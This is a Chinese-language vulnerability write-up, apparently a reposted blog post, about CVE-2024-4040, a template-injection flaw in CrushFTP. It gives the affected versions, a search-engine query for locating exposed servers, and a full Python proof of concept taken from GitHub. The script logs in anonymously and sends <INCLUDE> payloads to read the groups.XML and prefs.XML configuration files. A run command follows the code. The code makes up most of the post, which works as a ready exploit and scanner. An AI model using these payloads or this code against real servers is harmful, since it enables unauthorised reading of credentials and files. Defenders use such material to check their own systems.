免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
02
—
漏洞影响
10.0.0 <= CrushFTP < 10.7.1
11.0.0 <= CrushFTP < 11.1.0
03
—
漏洞描述
CrushFTP是一款支持FTP, FTPS, SFTP, HTTP, HTTPS, WebDAV and WebDAV SSL等协议的跨平台FTP服务器软件。CVE-2024-4040 中,攻击者可构造恶意请求利用模版注入获取他人身份凭据,读取文件等,配合相关功能可造成远程代码执行,控制服务器。
04
—
body="CrushFTP"
05
—
python poc
poc来自github
https://github.com/airbus-cert/CVE-2024-4040
内容如下
#!/usr/bin/env python3
import requests
import sys
import argparse
class CrushClient(object):
def __init__(self, base_url="http://127.0.0.1:9090"):
self.base = base_url
self.token = ""
@property
def current_auth(self):
if len(self.token) < 4:
return ""
return self.token[-4:]
@property
def headers(self):
h = {}
if self.token:
h["Cookie"] = f"CrushAuth={self.token}; currentAuth={self.current_auth}"
h["user_ip"] = "127.0.0.1"
return h
def get(self, subdir):
r = requests.get(self.base + subdir, headers=self.headers)
return r
def post(self, subdir, data):
h = self.headers
if self.current_auth:
data["c2f"] = self.current_auth
r = requests.post(self.base + subdir, headers=h, data=data)
return r
def cmd(self, command, params={}):
d = {"command": command, "random": "0.34712915617878926"}
d.update(params)
r = self.post("/WebInterface/function/", d)
return r
def login(self, username, password):
r = self.cmd("login", {"username": username, "password": password})
c = r.cookies.get_dict()
if "CrushAuth" not in c:
raise ValueError("CrushAuth cookie not found (invalid credentials?)")
self.token = c["CrushAuth"]
def login_anonymous(self):
r = requests.get(self.base + "/WebInterface/")
c = r.cookies.get_dict()
if "CrushAuth" not in c:
raise ValueError("CrushAuth cookie not found (no anonymous access?)")
self.token = c["CrushAuth"]
def main():
parser = argparse.ArgumentParser(description="Scan a target for CrushFTP File Read vulnerability")
parser.add_argument("target", type=str, help="URL to target (example: http://127.0.0.1:9090)")
args = parser.parse_args()
c = CrushClient(args.target)
try:
c.login_anonymous()
except ValueError:
print("Not vulnerable")
return 0
r = c.cmd("exists", {"paths": "<INCLUDE>users/MainUsers/groups.XML</INCLUDE>"})
if "<groups" in r.text:
print("Vulnerable")
return 1
r = c.cmd("exists", {"paths": "<INCLUDE>prefs.XML</INCLUDE>"})
if "<server_prefs" in r.text:
print("Vulnerable")
return 1
print("Not vulnerable")
return 0
if __name__ == "__main__":
sys.exit(main() or 0)
运行POC
python scan_host.py http://x.x.x.x
06
—
修复建议
升级到最新版本。
原文始发于微信公众号(AI与网安):CVE-2024-4040
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论